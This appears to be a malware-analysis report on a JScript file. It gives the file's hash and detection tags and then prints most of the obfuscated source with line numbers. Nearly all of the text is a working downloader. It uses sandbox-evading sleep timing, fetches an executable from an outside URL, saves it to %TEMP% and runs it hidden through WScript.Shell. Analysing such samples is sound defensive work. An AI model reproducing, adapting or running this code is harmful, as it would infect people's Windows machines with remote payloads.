20160328_e9cf3c9a11b72865143314b35d92624f.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256a562019833925bd8f7e7652bdc77530102e7843af053de34a6505c653670a787
Evidence
1var Hyagcknjfr = false;
2var Qjbhsi = "CreateObject";
3var Absaphdr = function Fizlakqwb() {return WScript[Qjbhsi]("WScript.Shell");}();
4var Sdsmiu = 123213;
5var Weeypcokay = "MSXML2.XMLHTTP";
6var Uxsakllaj = 2123213;
7var Rydgqfgoi = 0;
8function Kjtdmyuf(Pcqpg){Absaphdr["Run"](Pcqpg, Rydgqfgoi, Rydgqfgoi);};
9function Phflkh(){return Weeypcokay;};
10function Vwnwextjhq(Yhgjejm, Pxybuyl){return Yhgjejm - Pxybuyl;};
11function Airpastb(){return Qjbhsi;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Hyagcknjfr = true;
15 @end
16@*/
17var Etnsqfrgm = "";
18if (Hyagcknjfr)
19{
20function Dsnhorty(){return 22;};
21var Dseytdfu = 0; var Bkvidw = 0;
22function Pwctaqc()
23{
24var Tijki = new this["Date"]();
25var Phfporgin = Tijki["getUTCMilliseconds"]();
26WScript["Sleep"](Dsnhorty());
27var Tijki = new this["Date"]();
28var Rhdxvtve = Tijki["getUTCMilliseconds"]();
29WScript["Sleep"](Dsnhorty());
30var Tijki = new this["Date"]();
31var Nxzeum = Tijki["getUTCMilliseconds"]();
32var Dseytdfu = "Xxmef";
33Dseytdfu = Vwnwextjhq(Rhdxvtve, Phfporgin);
34var Bkvidw = "Mihqb";
35Bkvidw = Vwnwextjhq(Nxzeum, Rhdxvtve);
36Etnsqfrgm = "open";
37return Vwnwextjhq(Dseytdfu, Bkvidw);
38}
39var Aqaskujppe = false;
40var Gaiitecyn = false;
41for (var Agroltkdfx = Rydgqfgoi; Agroltkdfx < Dsnhorty() * 1; Agroltkdfx++){if (Pwctaqc() != Rydgqfgo …
49:5… Aqaskujppe && Azepr() && Gaiitecyn){
50function Xvnaqj() {return Absaphdr["ExpandEnvironmentStrings"]("%TEMP%/") + "nAkMwecIva.exe";};
51 Ksnqjlxz = Phflkh();
52 Irlkkpqrs = WScript[Qjbhsi](Ksnqjlxz);
53 var Iynrh = 1;
54 while (Iynrh){
55try {
56Irlkkpqrs[Etnsqfrgm]("GET", "http://blackmountaintipis.com/mxn3aad", false);
57Irlkkpqrs["send"]();
58Nynqgwuti = "Sleep";
59do {WScript[Nynqgwuti](Dsnhorty() * 11)} while (Irlkkpqrs["readystate"] < 4 );
60Iynrh = Rydgqfgoi;
61} catch(Nnbjeq){Iynrh = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Hvbequnz(Iugtbx) {var Msaljwjoez = (1, 2, 3, 4, 5, Iugtbx); return Msaljwjoez;};
64Pshlqbal = WScript[Airpastb()]("ADODB.Stream");
65Ksnqjlxz = Pshlqbal;
66Ksnqjlxz[Etnsqfrgm]();
67Ksnqjlxz["type"] = Hvbequnz(1);
68Ksnqjlxz["write"](Irlkkpqrs["ResponseBody"]);
69Pshlqbal["position"] = Hvbequnz(Rydgqfgoi);
70Ksnqjlxz["SaveToFile"](Xvnaqj(), Hvbequnz(2) );
71Pshlqbal["close"]();
72Kjtdmyuf(Xvnaqj());
73}
74}
75